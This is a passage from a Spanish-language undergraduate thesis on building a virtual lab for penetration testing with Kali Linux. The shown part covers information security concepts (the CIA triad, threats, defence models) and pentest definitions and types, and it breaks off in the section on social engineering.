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RESUMEN del trabajo recepcional de Rossini Reyes lIslas, presentado como
requisito parcial para la obtencién del grado de LICENCIADO EN INGENIERIA EN
SISTEMAS ELECTRONICOS Y DE TELECOMUNICACIONES.

Ciudad de México, diciembre de 2016.

DISENO DE UN LABORATORIO VIRTUAL PARA PRUEBAS DE INTRUSION

Resumen aprobado por:
Dr. Daniel Tapia Sanchez

Director del trabajo recepcional

En este documento se describe la implementacién de un laboratorio virtual para la
realizacion de pruebas de intrusion en sistemas de seguridad informética usando
técnicas de hackeo ético. La aportacion de este trabajo se enmarca dentro del campo
de la seguridad de la informacion, por este motivo se presenta en primer lugar el
cuerpo tedrico concerniente al campo de la seguridad, enseguida se presenta un
panorama sobre las bases de las pruebas de intrusion. Posteriormente se hace
énfasis en la utilidad de la distribucién Kali Linux especializada en pruebas de
intrusion para ser configurada dentro del laboratorio virtual.

Tomando como base el conocimiento anterior, se describe detalladamente Ila
implementacion del laboratorio virtual, el desarrollo de las pruebas de intrusiéon y los
procedimientos asociados con su realizacion. La aportacién principal del presente
trabajo es que permite adquirir conocimiento y habilidades préacticas de los
procedimientos de diversas pruebas de intrusion ya que se ofrece un ambiente de
pruebas controlable para experimentar con herramientas y procedimientos formales
de intrusibn que permitan desarrollar habilidades en el descubrimiento de
vulnerabilidades o huecos de seguridad en equipos y sistemas informaticos. Al mismo
tiempo, el laboratorio virtual permitira optimizar los tiempos requeridos para ejecutar
cada prueba y configurar con mayor flexibilidad los sistemas de prueba sin invertir

recursos en la compra de equipos fisicos.
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Introduccidn

Las ventajas que brindan las nuevas tecnologias de la informacion y comunicaciones
para la adquisicidn, procesamiento, almacenamiento, transmision y presentacién de
informacion, ha motivado a cada vez mas personas y organizaciones para hacer de
los medios informaticos parte esencial de sus quehaceres cotidianos, posicionando a
la informacién como uno de los activos mas valiosos que existen actualmente. Sin
embargo, el uso de la tecnologia no estd exento de problemas y entre los de mayor

importancia estan los relacionados con la seguridad.

El crecimiento acelerado de Internet no Unicamente ha beneficiado la disponibilidad y
el acceso a recursos de informacion de gran utilidad para personas y empresas. Al
mismo tiempo también ha incrementado la facilidad con la cual se desarrollan y
distribuyen programas maliciosos, como también programas de uso libre con
procedimientos detallados para detectar y explotar vulnerabilidades en
infraestructuras de red, lo cual ha contribuido a incrementar gravemente el nimero
de delincuentes informaticos que por distintas razones, mantienen en constante

riesgo los activos de informacion de personas y organizaciones.

El problema de la seguridad se ha convertido en una prioridad para las personas,
empresas y gobiernos en general, pues la cantidad de violaciones a la seguridad de
los activos de informacién en cualquier parte del mundo sigue mostrando un
crecimiento exponencial en cuanto a cantidad, diversidad e incluso alcance de sus
consecuencias. En este contexto, el objetivo de la seguridad informatica es identificar
y reducir los riesgos a los que se encuentran expuestos los activos de informacion,
con el fin de preservar su confidencialidad, integridad y disponibilidad. La seguridad
informatica utiliza un conjunto de herramientas y métodos de defensa orientados a
prevenir, disuadir, detener, detectar y retrasar posibles ataques en todas las etapas
del ciclo de vida de la informacion, asi como en los diferentes niveles de los sistemas
informéticos que hacen posible su adquisicidn, proceso, conservacion y comunicacion.
Dentro de estas, una de las formas mas practicas, y probablemente la mas eficiente,

de comprobar el nivel de seguridad de aplicaciones, redes y sistemas, es el uso de las



denominadas pruebas de intrusion, también conocidas como penetration testing o
pentesting, cuyo objetivo es buscar y comprobar las vulnerabilidades en los sistemas,
infraestructuras y aplicaciones para revelar los posibles huecos de seguridad
existentes, los cuales pudieran ser explotados por personas maliciosas para atentar

contra los activos de informacion.

En este escenario se desarrolla el presente trabajo recepcional, cuyo tema central es
precisamente el de las pruebas de intrusion, el cual se ha convertido en un tépico de
gran importancia en el campo profesional de la seguridad informatica. Al respecto, a
pesar de que los procedimientos para la realizaciébn de pruebas de intrusibn han
alcanzado niveles de expertise certificados por organismos con reconocimiento
internacional, la realidad es que aun existe un déficit alarmante de profesionales
dotados con las habilidades suficientes y necesarias para realizar este tipo de
pruebas. Sin embargo, no se trata Unicamente de personas, sino también de
recursos. Debido a que las pruebas de intrusion deben realizarse desde una
perspectiva real, tal como lo haria un atacante malicioso en un escenario real, las
pruebas de intrusibn son necesariamente agresivas, pues los sistemas deben ser
atacados en forma directa para evaluar sus vulnerabilidades. Esto representa una
gran dificultad desde el punto de vista practico, principalmente cuando se pretenden
desarrollar habilidades en la practica de los procedimientos y herramientas. Es por
ello que el trabajo propuesto pretende eliminar esta dificultad mediante la
construcciéon de un laboratorio virtual que permita realizar un conjunto completo de
pruebas de intrusién sin la necesidad de agredir infraestructuras de informacion

reales.



Planteamiento del problema

El problema méas importante a cuya solucion se pretende contribuir, puede plantearse

de la siguiente manera:

¢Como experimentar con procedimientos y herramientas de intrusidbn en sistemas
informaticos, de tal forma que se pueda generar un conocimiento significativo en la
deteccion de sus vulnerabilidades mas importantes, asi como de los ataques a través
de los cuales se pudiera materializar una violaciéon a la confidencialidad, integridad o
disponibilidad de los activos de informacidn que resguarda el sistema, sin agredir

realmente su infraestructura durante la realizacion de las pruebas de intrusion?

Propuesta de solucion

Para resolver la problematica planteada, se propone implementar un laboratorio
virtual que permita configurar y aplicar un conjunto suficiente de herramientas
especialmente disefiadas y estandarizadas para la realizacion de pruebas de intrusion.
Esta propuesta pretende ofrecer un ambiente de prueba controlable para
experimentar con herramientas y procedimientos formales de intrusion para
desarrollar habilidades en el descubrimiento de vulnerabilidades o huecos de
seguridad en equipos y sistemas informaticos. Al mismo tiempo, el laboratorio virtual
permitira optimizar los tiempos requeridos para realizar cada prueba y configurar con
mayor flexibilidad los sistemas de prueba sin invertir recursos en la compra de

equipos fisicos.



Objetivos

Objetivo General

El objetivo general del proyecto es generar un laboratorio virtual especializado para la
realizacion de pruebas de intrusion, mediante la configuracion de un entorno virtual
para experimentar con herramientas y técnicas especializadas para identificar,

analizar y explotar vulnerabilidades en sistemas informaticos.

Objetivos Especificos

e Implementar una red virtual de computadoras mediante la configuracion de
equipos y sistemas con vulnerabilidades cominmente encontradas en sistemas
informaticos reales.

e Instalar y configurar las herramientas de software necesarias para ejecutar
técnicas de intrusibn como la distribucion especializada en pruebas de
intrusion Kali Linux.

e Aplicar la metodologia estandar para desarrollar pruebas de intrusion sobre la
red virtual de computadoras implementada para evaluar el desempeiio del

laboratorio virtual.



Organizacion del trabajo recepcional
El presente documento del trabajo recepcional se organiza de la siguiente manera:

En el capitulo 1 se explica el cuerpo tedrico concerniente al campo de la seguridad de
la informacion. Se explica la diferencia entre seguridad informatica y seguridad de la
informacion, los principios basicos de la seguridad de la informacién asi como los
conceptos usados frecuentemente en el campo de la seguridad como: activo,
amenaza, vulnerabilidades, riesgo, entre otros, y los modelos de defensa existentes
para proteger la informacion.

En el capitulo 2 se profundiza en la base tedrica de las pruebas de intrusibn como
medida defensiva. En este capitulo se explica qué son las pruebas de intrusion, su
propésito, los tipos de pruebas que existen, la diferencia que existe entre la
evaluacion de vulnerabilidades y las pruebas de intrusion, las diferentes metodologias
gue hay para la realizacion de las pruebas y por ultimo se explican las fases o etapas
genéricas usadas comunmente en las pruebas de intrusion.

En el capitulo 3 se habla sobre Kali Linux como herramienta principal para la
realizacion de las pruebas de intrusion. En este capitulo se explica qué es Kali Linux,
sus caracteristicas, las categorias de sus herramientas, el proceso de instalacion del
sistema dentro de un ambiente virtual, su configuracién y actualizacion después de la
instalacion. Al final del capitulo se explica también cdémo instalar herramientas
adicionales que seran de mucha ayuda al realizar las pruebas. Se hace énfasis en Kali
Linux debido a que es un software libre y especializado en pruebas de seguridad el
cual permite ahorrar tiempo al evitar buscar, descargar e instalar cada una de las
herramientas por separado.

En el capitulo 4 se explica detalladamente el disefio, implementacion y configuracion
del laboratorio virtual, se describen las especificaciones técnicas de hardware y
software del equipo en donde se implementé el laboratorio virtual. Por otro lado, se
muestra el desarrollo de pruebas de intrusion usando el laboratorio virtual
implementado y se explica detalladamente cada una de las herramientas utilizadas en

cada etapa o fase de dichas pruebas.



Finalmente se presentan las conclusiones obtenidas al desarrollar el proyecto,
ademas se menciona el trabajo futuro que se puede realizar con el laboratorio virtual

implementado.



Capl’tulo

La seguridad de la informacion



1.1 Seguridad informatica y seguridad de la informacién

La aportacion de este trabajo se enmarca en el campo de la seguridad de la
informacion, por lo que resulta ineludible presentar en primer lugar el cuerpo teorico
concerniente al campo de la seguridad.

Es comun hablar de seguridad informética y de seguridad de la informacién como si
fueran sindnimos y, en principio, pareciera ser verdad, sobre todo si se tiene en
cuenta que en la actualidad, gracias al constante desarrollo tecnoldgico, se tiende a
digitalizar todo tipo de informacion y manejarla a través de un sistema informatico.
Sin embargo, aunque tengan la necesidad de trabajar en armonia, cada uno de estos
dos campos tiene objetivos y preocupaciones diferentes.

La seguridad informética se refiere al conjunto de politicas, reglas, estandares,
métodos y protocolos que se utilizan para la proteccion de la infraestructura de
computadoras y toda la informacion contenida o administrada por ella. Esta
informacion debe ser protegida de la posible destruccién, modificacion, difusion o
utilizacion indebida. No soOlo se debe prestar atencion a los ataques intencionales,
sino también a posibles fallas de software o hardware que atenten contra la
seguridad.

Por otra parte, la seguridad de la informacion se refiere a todas aquellas medidas que
procuren resguardar la informacion ante cualquier irregularidad. La principal
diferencia entre seguridad informética y seguridad de la informacion es que la
primera se encarga de la seguridad en el contexto de los medios informaticos y la
segunda se interesa en la informacion en general, ya sea que se encuentre en algun
medio informéatico o en cualquier otro medio, por ejemplo: un manual de
procedimientos escrito en papel, el conocimiento que poseen las personas, escrituras
en pizarras y papeles que se descartan, son fuentes importantes de informacion.
Como se aprecia en la figura 1, la seguridad informatica es un campo de la seguridad

de la informacion [1].
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Figura 1. La seguridad informatica dentro del campo de la seguridad de la informacién.

1.2 Principios basicos de la seguridad de la informacion

La seguridad de la informacion se basa en tres principios fundamentales: la
confidencialidad, la integridad y la disponibilidad, cominmente conocidos como la
triada CIA por sus siglas en inglés (Confidentiality, Integrity and Availability) [2]. La
figura 2 sirve para ilustrar que estos tres principios se encuentran interrelacionados y
se aplican no solo a la informacion, sino a todos los recursos a través de los cuales
ésta se procesa y almacena.

En una organizacion es de vital importancia establecer normas, politicas y protocolos
de seguridad que tengan como objetivo la preservacion de los tres principios de la
seguridad de la informacion. El grado con el cual se deberan satisfacer estos
principios depende del valor de la informacion que se desea proteger, el cual se
determina a partir de un analisis de riesgo realizado en forma continua dentro del

ciclo de vida de la informacion.
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Figura 2. Los principios de la seguridad de la informacion (CIA).

1.2.1 Principio de la confidencialidad de la informacion

Es la propiedad que garantiza que la informacion sea accedida sélo por personas o
procesos autorizados. En términos generales la confidencialidad es la garantia de que
la informacion personal sera protegida ante accesos no autorizados para que no sea
divulgada sin consentimiento del duefio.

En un sistema donde se garantice la confidencialidad, si un tercero es capaz de
interceptar una comunicacion entre el remitente y el destinatario, éste no podra

visualizar ningun tipo de informacion legible.

1.2.2 Principio de la integridad de la informacion

Se refiere a la propiedad que busca asegurar que los datos no sean alterados de
manera no autorizada. Para que la informacién conserve su valor debera conservar el
principio de integridad. Cuando ocurre una alteracibn no autorizada de la
informacion, la informacién deja de ser util.

El receptor debera tener la seguridad de que la informacion obtenida, leida u oida es
exactamente la misma que fue colocada a su disposicién para una debida finalidad. Si
una informacién sufre alteraciones en su version original, entonces la misma pierde
su integridad, ocasionando errores, fraudes y perjudicando la comunicacion y la toma

de decisiones.
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Para cumplir el principio de integridad, se debe proteger la informacién contra dos
tipos de alteraciones:

1. Alteraciones del contenido de la informacién (generalmente documentos) a
través de las cuales se realizan inserciones, sustituciones o remociones de
partes de su contenido.

2. Alteraciones en los elementos que soportan la informacién (infraestructura de
informacion y comunicaciones), a través de las cuales se modifica el estado
dispuesto originalmente sobre la estructura fisica y l6gica donde se procesa y
almacena la informacién. Por ejemplo cuando se alteran las configuraciones de
un sistema para tener acceso a informaciones restrictas, cuando se superan las

barreras de seguridad de una red de computadoras.

1.2.3 Principio de la disponibilidad de la informacién
La disponibilidad es el tercer principio basico de la seguridad de la informacién y se
refiere a la capacidad de acceder a la informacién en el momento en que se necesite,
asi como a la estructura fisica y tecnolégica que permite su acceso, transito y
almacenamiento, de tal forma que los recursos relacionados con la informacion se
encuentren accesibles cuando sea necesario y que estén al alcance de sus usuarios y
destinatarios.
Este principio esta asociado a la adecuada estructuracion de un ambiente tecnologico
y humano que permita la continuidad de los negocios de la empresa o de las
personas, sin impactos negativos para la utilizacion de las informaciones. No basta
estar disponible: la informacién debera estar accesible en forma segura para que se
pueda usar en el momento en que se solicita y que se garantice su integridad y
confidencialidad.
Al igual que la integridad y la confidencialidad, el grado de accesibilidad a la
informacion dependera de su valor y el impacto resultante de su falta de
disponibilidad. Algunas de las medidas comunmente utilizadas para garantizar la
disponibilidad de la informacion son las siguientes:

e La configuracién segura de un ambiente, donde todos los elementos que

forman parte de la cadena de la comunicacion estan dispuestos en forma
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adecuada para asegurar el éxito de la lectura, transito y almacenamiento de la
informacion.

e También se realizan las copias de respaldo (backup). Hacer el respaldo de
informacion permite que las mismas estén duplicadas en otro local para ser
utilizadas en caso de no ser posible recuperarlas de su base original.

e Definir estrategias para situaciones de contingencia.

e Establecer rutas alternativas para el transito de la informacion, para garantizar
su acceso y la continuidad de los negocios incluso cuando algunos de los
recursos tecnoldgicos, o humanos, no estén en perfectas condiciones de

operacion.

1.3 El riesgo a la seguridad de la informacion

El riesgo esta relacionado con todo aquello que crea o sugiere una amenaza sobre
alguno de los tres principios de la seguridad de la informacién. Es precisamente el
riesgo a los activos relacionados con la informacion lo que convierte al campo de la
seguridad en un proceso indispensable para todas las personas y las organizaciones.
Para comprender la importancia del riesgo, es necesario conocer primero los términos
asociados con el proceso de analisis de riesgos en el contexto de la seguridad de la

informacion, por lo que se describen a continuacion.

1.3.1 Activos

Los activos son todo aquello que representa un valor significativo para las personas u
organizaciones; por lo tanto, los activos son los elementos que la seguridad de la
informacion busca proteger. El valor de los activos depende de lo que estos
representen para su propietario y puede resultar muy complicado determinar su
valor exacto. Los requerimientos de seguridad para los activos deben ser
directamente proporcionales a su valor; por lo tanto, es necesario identificarlos,
clasificarlos y determinar su nivel de importancia, a fin de definir el tiempo, costo y
esfuerzo adecuados para protegerlos.

En el contexto de la seguridad de la informacion, los activos son generalmente los

elementos fisicos o l6gicos que hacen posible el procesamiento de la informacion a lo
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largo de todo su ciclo de vida, desde su generacion hasta su entrega y
almacenamiento.

Los activos pueden ser clasificados en diferentes categorias como se indica
enseguida.

e Activos de datos: archivos, bases de datos, manuales de usuario, planes de
contingencia, procedimientos, reportes financieros, patentes, codigos de
programacion, reportes financieros, plan de negocios de una empresa, entre
otros.

e Activos de software: aplicaciones, sistemas operativos y lenguajes de
desarrollo.

e Activos fisicos: computadoras, servidores, equipos portatiles, medios de
almacenamiento, impresoras, equipos de conectividad, enrutadores, switches,
equipos de comunicaciones, equipos de refrigeracion o calefaccion, muebles,
edificios, cableado, entre otros.

e Servicios: calefaccion, energia eléctrica, red de comunicaciones, entre otros.

e Servicios informaticos: servicios de autenticacion, servicio de transferencia de
archivos, correo electronico, servicio web, entre otros.

e Activos humanos: personal de la organizacion, proveedores y personal externo.

1.3.2 Amenazas

Una amenaza puede definirse como cualquier accion o elemento que atente contra
alguno de los requerimientos de seguridad del sistema de informacion. Dicho de otra
manera, es una circunstancia que tiene el potencial de causar algun dafio, pérdida o
difusion no autorizada de informacion. Los activos estan constantemente sometidos a
amenazas que pueden colocar en riesgo la integridad, confidencialidad vy
disponibilidad de la informacién.

Por lo general se asocia el término “amenaza” con la idea de hackers, virus
informéticos, troyanos, robo de informacion y accesos no autorizados a los datos,

pero hay que tener en cuenta que las amenazas pueden ser tanto de caracter



14

intencional (como las mencionadas anteriormente) como no intencional, y ambas

deben ser tratadas con el mismo nivel de atencioén.

1.3.2.1 Amenazas intencionales

Fraude: es un delito informatico realizado con la intencibn de engafiar o

perjudicar a una persona u organizacién con el fin de obtener un beneficio

propio.

Sabotaje: se refiere a cualquier accion premeditada que perjudique el normal

funcionamiento de la organizacion.

Fuga de informacion: se trata de la divulgacion no autorizada de datos

reservados. Muchas veces se utiliza como una forma de espionaje y

competencia desleal.

Acceso no autorizado: es el acceso a informacion restringida; puede provenir

tanto desde usuarios dentro de la misma organizacién como desde el exterior

de la misma.

Robo de equipamiento: muchas veces el robo de equipos informaticos es

llevado a cabo con el fin de extraer la informacion que contiene y no por el

valor del equipo en si mismo. Computadoras, teléfonos celulares, cintas con

copias de seguridad, discos 6pticos, entre otros, pueden contener informacién

de vital importancia para una organizacion.

Programas maliciosos: dentro de este grupo se encuentran los virus

informaticos, troyanos, gusanos, bombas ldgicas, programas espia, entre

otros. Son programas que se ejecutan dentro de la computadora con el fin de

extraer o dafar la informacion. Se dividen en diferentes grupos segun su

comportamiento.

v' Virus: se adjuntan a un archivo o programa, de tal manera que la

ejecucion del archivo original dispare la ejecucion del cédigo malicioso.
Este cédigo puede realizar acciones inofensivas, como mostrar algun
mensaje por pantalla, o puede ejecutar tareas que afecten a la seguridad
del sistema, comprometiendo la confidencialidad, integridad o

disponibilidad de la informacion.
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v' Troyanos: entran al sistema como una aplicaciéon inofensiva y buscan
tentar al usuario para que las ejecute. Cuando esto sucede, el troyano
realiza las tareas para las cuales fue disefiado. A diferencia de otros tipos
de virus, un troyano no se replica por si mismo.

v' Gusanos: son una subclase de virus con la capacidad de propagarse sin la
intervencion de los usuarios. Utilizan vulnerabilidades de los sistemas
para reproducirse de manera automatica.

v’ Bombas logicas.: se activan en algin momento predeterminado o por
algun evento del sistema.

v' Programas espia: su funcion es ejecutarse de manera oculta en el
sistema e ir recopilando informacién que podra ser utilizada para obtener
datos de acceso como nombres de usuario y contrasefas, facilitando un

futuro acceso no autorizado al sistema.

1.3.2.2 Amenazas no intencionales

e Incendios o inundaciones: cualquiera de estos incidentes deriva en la pérdida
de informacién debido al dafio que sufran los equipos que la contienen.
Muchas medidas pueden adoptarse para mitigar esta amenaza, algunas de
ellas apuntan a la prevencion y otras a la recuperacion de los datos una vez
gue el dafio ya fue causado. Una practica tan sencilla como almacenar las
copias de seguridad en otro edificio, soluciona en gran medida esta
problematica.

e Desastres naturales: caso similar al anterior pero con el agravante de que los
desastres naturales abarcan un area mayor, pudiendo afectar al dato original
y también a la copia de seguridad. Para afrontar esta situacion es necesario
evaluar la posibilidad de almacenar copias en diferentes regiones geograficas.

e Descuidos de usuarios: la modificacion o eliminacién de informacién por error
puede ser un gran riesgo de seguridad. En diversas ocasiones un usuario
puede comprometer la seguridad de la informacion de manera no intencional

si ejecuta una accion y no se controla de manera correcta, por ejemplo, con
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frecuencia se observan contrasefias de usuarios anotadas en etiquetas

pegadas en el monitor.

1.3.3 Vulnerabilidades o puntos débiles

Una vulnerabilidad es una debilidad en un proceso, en una pieza de hardware o en
un programa que puede dar lugar al compromiso de la seguridad en un sistema
informético. Los puntos débiles son los elementos que, al ser explotados por
amenazas, afectan la confidencialidad, disponibilidad e integridad de la informacion
de un individuo o empresa. Una vulnerabilidad puede ser una red inalambrica sin
proteccion, un puerto abierto en un firewall, aplicaciones sin sus actualizaciones de
seguridad o fallas en los controles de acceso del personal a las salas de servidores.
Cabe sefialar otro objetivo de la seguridad de la informacién: la correccion de puntos
débiles existentes en el ambiente en que se usa la informacion, con el objeto de
reducir los riesgos a los que esta sometida, evitando asi la materializacion de una

amenaza.

1.3.4 Riesgo

El riesgo es la posibilidad de que una amenaza se produzca. Para que se tenga un
riesgo en un entorno en particular, se necesita tener tanto una amenaza como una
vulnerabilidad que la amenaza especifica puede explotar. El riesgo supone una
exposicion potencial a un impacto negativo en el cumplimiento de los objetivos de
una organizacion. Sin embargo, el riesgo es una caracteristica inherente a cualquier
actividad, por lo que no se puede considerar un factor negativo, sino un factor que

conviene conocer y gestionar.

1.3.5 Ataques a la seguridad de la informacion

De acuerdo con el National Institute of Science and Tecnology (NIST), un ataque es
cualquier tipo de actividad maliciosa que pretende recoger, interrumpir, negar,
degradar o destruir los recursos del sistema de informacién o la informacion misma
[3].

Los ataques a la seguridad de la informacion pueden ser clasificados en dos

categorias:
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e Un ataque interno se inicia desde el interior de una red por un usuario
autorizado. El ataque puede ser realizado por alguien con malas intenciones;
sin embargo, esto no se puede asumir completamente ya que un accidente
también puede conducir a un dafio no intencional a los recursos de la red.

e Un ataque externo es causado por un intruso externo quien no tiene

autorizacion para acceder a la red interna.

1.4 Modelos de defensa
En general, existen dos enfoques para preservar la confidencialidad, integridad y la
disponibilidad de los activos fisicos y logicos:
e Construir un perimetro defensivo alrededor de los activos y confiar en todo
aquel que tenga acceso dentro.
e Usar muchos tipos y niveles de controles de seguridad, utilizando un enfoque
de defensa en profundidad basado en capas.
La efectividad de cada enfoque depende del numero, tipo e importancia de los
activos a proteger, asi como de la cultura y entendimiento acerca de la seguridad
entre los usuarios, aunque el segundo enfoque presenta una mayor confiabilidad.

Ambos enfoques se describen a continuacion.

1.4.1 Modelo Lollipop o seguridad perimetral
Es la técnica de defensa mas simple, conocida también como seguridad perimetral,
implica la construccion de una barrera virtual o fisica alrededor de los objetos de

valor, como se ilustra en la figura 3.

Activo protegido

Barrera perimetral

Figura 3. Modelo de defensa perimetral.
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Una de las limitaciones de la seguridad perimetral es que una vez que un atacante
viola el perimetro de defensa, los activos que estdn dentro quedan completamente
expuestos. Esta es la principal razén por la que este no es el mejor modelo de
defensa. Otra limitante del modelo /o/ljpop es que no considera diferentes niveles de
seguridad, lo cual resulta insuficiente en el contexto actual de la seguridad. En una
red de computadoras, por ejemplo, un firewall esta igualmente limitado en sus
capacidades y no se debe esperar a ser la Unica linea de defensa contra la intrusién.
Los firewalls son una parte importante de una estrategia integral de seguridad de la

red, pero no son suficientes por si solos [4].

1.4.2 Defensa en profundidad

Un modelo mejorado es la defensa en profundidad, una estrategia comdn tanto para
maniobras militares como para la seguridad de la informacion. En ambos sentidos, el
concepto béasico de la defensa en profundidad es formular una defensa de mdultiples
capas que nos permita tener una defensa exitosa si una o mas de las medidas de
defensa fallan. La figura 4 muestra un ejemplo de las diferentes capas desde las
cuales se pueden defender los activos de una red: desde la red externa, en la red
interna, a nivel de host, de aplicacion y de datos. Si en cada capa se implementan
medidas defensivas adecuadamente, se logrard& que sea muy dificil penetrar

profundamente en la red y se ataquen directamente los activos.

Datos
Aplicacion

Host

Red interna

/— Red Externa

Figura 4. Defensa en profundidad.
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Un concepto importante a tener en cuenta en la planificacibn de una estrategia
defensiva mediante la defensa en profundidad es que no es una solucidbn magica que
resuelve todos los problemas de seguridad en su totalidad y permanentemente. No
importa cuantas capas se pongan, o cuadntas medidas defensivas haya en cada capa,
no es posible mantener a cada atacante fuera por un periodo de tiempo indefinido, ni
es este el objetivo final de la defensa en profundidad en una configuracion de
seguridad de la informacion. El objetivo es colocar suficientes medidas de defensa
entre los activos verdaderamente importantes y el atacante, para notar cuando un
ataque estad en curso y para ganar el tiempo suficiente para tomar medidas mas
activas para prevenir que el ataque tenga éxito.

Cuando determinamos las capas de la estrategia de defensa en profundidad, es
probable encontrar que éstas varian dada la situacion particular y el ambiente que se
esta defendiendo. Es posible afiadir complejidad al modelo de defensa mediante la
inclusion de otras capas vitales tales como defensas fisicas, politicas, sensibilizacion y
capacitacion a usuarios, por mencionar algunas.

Como se observa en la figura 5, existen diversas defensas que se pueden utilizar en
cada una de las capas antes mencionadas. En algunos casos, una medida defensiva
se usa en varias capas como en mas de un area. Un buen ejemplo de esto son las
pruebas de intrusion. Las pruebas de intrusion son un método para encontrar lagunas
en la seguridad mediante el uso de los mismos métodos que el atacante podria
utilizar con el fin de violar la seguridad y es una tactica que se puede utilizar en todas

las capas del modelo de defensa [2].
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Figura 5. Defensas en cada capa.

Debido a que en este proyecto se pretende adquirir conocimiento acerca de las
pruebas de intrusion y desarrollar habilidades en el descubrimiento y explotaciéon de
vulnerabilidades en equipos y sistemas informaticos, el laboratorio virtual sera
sometido a ataques internos experimentando principalmente amenazas del tipo
intencional como son: accesos no autorizados y programas maliciosos. Por ello, el
laboratorio virtual no cuenta con alguno de los modelos de defensa antes
mencionados ya que solamente algunos de los activos que lo conforman tienen
medidas defensivas con la intencion de simular una red de computadoras comun en
donde se tienen equipos con y sin medidas defensivas como son antivirus y firewalls

también para facilitar y a su vez hacer visible el proceso de intrusion.

Por otro lado, la topologia de la red virtual de computadoras es una LAN (red de area
local), usando el estandar 802.3 y con poca seguridad, con el fin de que cualquier
persona que cuente con poco O sin ningln conocimiento en los temas de
virtualizacion y pruebas de intrusién, pueda replicar y entender el presente trabajo

sin mayor dificultad.
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2.1 ;Qué son las pruebas de intrusion?

Las pruebas de intrusion pueden definirse como el proceso legal y autorizado para
localizar y explotar con éxito las vulnerabilidades de sistemas informaticos, como
parte de un proceso proactivo orientado a mejorar los niveles de seguridad. El
proceso incluye basicamente la identificacion y evaluacion de vulnerabilidades del
sistema informatico, la ejecucion de ataques para explotarlos y la documentacion de
los procedimientos realizados. Las pruebas de intrusibn siempre terminan con
recomendaciones especificas para abordar y solucionar los problemas que se
descubrieron durante la prueba. La idea general detras de las pruebas de intrusion es
encontrar huecos de seguridad mediante el uso de las mismas herramientas y
técnicas que utilizan los atacantes con el fin de estar preparados para cuando
ataques posteriores sean realizados por un atacante real. Estos hallazgos deben ser
mitigados antes de que un atacante malicioso los explote. Las pruebas de intrusion
también son conocidas como penetration testing, pen testing, PT, Hacking, ethical
hacking, white hat hacking, offensive security o red teaming [5].

Un probador de intrusion o penetration tester se distingue de un atacante malicioso
precisamente por su intencion benéfica y la falta de malicia. El cliente o duefio de los
activos debe proporcionar un claro permiso por escrito para realizar pruebas de
intrusion. Esta aprobacion debe incluir una descripcion clara de lo que va a ser
probado y cuando se llevara a cabo la prueba. Debido a la naturaleza de las pruebas
de intrusion, el no obtener esta aprobacion podria dar lugar a la comision de un delito
informético, a pesar de tener en mente las mejores intenciones. Por lo tanto, los
empleados o expertos externos deben ser advertidos de no realizar pruebas de
intrusién sin la debida autorizaciébn. Por otra parte, las pruebas de intrusion
incompletas y poco profesionales pueden resultar en una pérdida de servicios y la
interrupcion de la continuidad del negocio, por lo que su realizacion profesional debe

ser ejecutada por personal certificado y legalmente autorizado [6].



23

2.2 Proposito de las pruebas de intrusion
Las pruebas de intrusidon pueden revelar al personal encargado de la seguridad de los
activos de informacién, el nivel de defensa real de los controles y contramedidas
sobre los cuales se basa su proteccion, con la posibilidad de prever las posibles
consecuencias de que un verdadero atacante llegase a irrumpir en su red. Las
pruebas de intrusion también permiten identificar las vulnerabilidades de seguridad
hasta ahora no previstas, asi como los posibles huecos de seguridad a los que dan
lugar.
Las pruebas de intrusion exponen las deficiencias en el modelo de seguridad de una
organizacion y ayudan a las organizaciones a alcanzar un equilibrio entre la destreza
técnica y la funcionalidad del negocio desde la perspectiva de posibles brechas de
seguridad. Esta informacién también es util durante la recuperacion de desastres y la
planificacion de la continuidad del negocio. En general, las pruebas de intrusion se
realizan en una organizacion para cumplir los siguientes objetivos [6]:
» Verificar y validar la eficacia de las protecciones y controles de seguridad.
e Proporcionar informacion util a los equipos de auditoria en la recoleccion de
datos para el cumplimiento normativo.
e Para minimizar los costos de las auditorias de seguridad, proporcionando
evidencia realista, amplia y detallada de las capacidades de una empresa.
e Ayudar en la priorizacion de la aplicacion de las actualizaciones de seguridad
adecuadas para vulnerabilidades reportadas o conocidas.
e Para conocer los riesgos existentes en redes y sistemas de una organizacion.
e Evaluar la eficacia de los dispositivos de seguridad de red, tales como firewalls,
routers, servidores web, entre otros.
e Proporcionar un enfoque integral para preparar los pasos que se pueden tomar
para prevenir una explotacion futura.
e Para descubrir si la infraestructura de software, hardware o red existente

necesita un cambio o actualizacion.
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2.3 Tipos de pruebas de intrusion
Para ayudar a definir el alcance de las pruebas de intrusion, estas se pueden dividir
en diversos tipos, los cuales estan basados en los objetivos o en las capas del modelo

de defensa que se desean analizar, los siguientes son los mas comunes [7].

2.3.1 Prueba de intrusién de red

En una prueba de intrusion de red, se pone a prueba un entorno de red en busca de
potenciales vulnerabilidades de seguridad para su posterior explotacion. Este tipo de
pruebas se divide en dos categorias: pruebas de intrusién externas e internas.

En una prueba de intrusidon externa se analizan las vulnerabilidades que pueden ser
explotables por un atacante ubicado en internet. Se ponen a prueba los activos de la
organizacion que son visibles externamente como son servidores de correo
electronico, servidores web, routers, entre otros. También se lleva a cabo un analisis
exhaustivo de la informacion disponible publicamente. El objetivo es averiguar si un
atacante externo puede acceder de forma remota a los equipos de la organizacion y
hasta donde puede llegar una vez que ha obtenido acceso.

En una prueba interna se analizan las vulnerabilidades que pueden ser explotables
por un atacante con acceso a la red interna de la organizacion. Este tipo de prueba
simula un ataque interno por un usuario autorizado y también es atil para estimar el

dafio que un empleado descontento puede causar.

2.3.2 Prueba de intrusién de aplicacién web
En este tipo de pruebas el penetration tester tiene la tarea de detectar y explotar
vulnerabilidades en las aplicaciones web con el fin de conseguir informacién critica

como numeros de tarjetas de crédito, nombres de usuarios y contrasefias.

2.3.3 Prueba de intrusién de aplicaciones moéviles

La prueba de intrusion de aplicaciones madviles son las pruebas de intrusion mas
recientes que se han vuelto comunes ya que casi todas las organizaciones usan
aplicaciones moviles basadas en los sistemas operativos Android e iOS para

proporcionar servicios a sus clientes. En este tipo de pruebas el propoésito es analizar
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la seguridad de las aplicaciones méviles mediante la deteccion y explotacion de

posibles puntos débiles.

2.3.4 Prueba de intrusion de ingenieria social

En este tipo de pruebas el objetivo a atacar son las personas o usuarios con el fin de
explotar las vulnerabilidades humanas (el deseo de ser util, el desconocimiento de las
politicas de seguridad, la confianza en personas desconocidas, entre otras) mediante
el engafo y con el fin de adquirir informacion sensible. Este tipo de pruebas puede
ser parte de una prueba de intrusion de red debido a que una organizacion puede
solicitar al penetration tester poner a prueba a sus usuarios o empleados con el fin de
engafarlos y convencerlos a realizar acciones que ponen en riesgo la seguridad de la
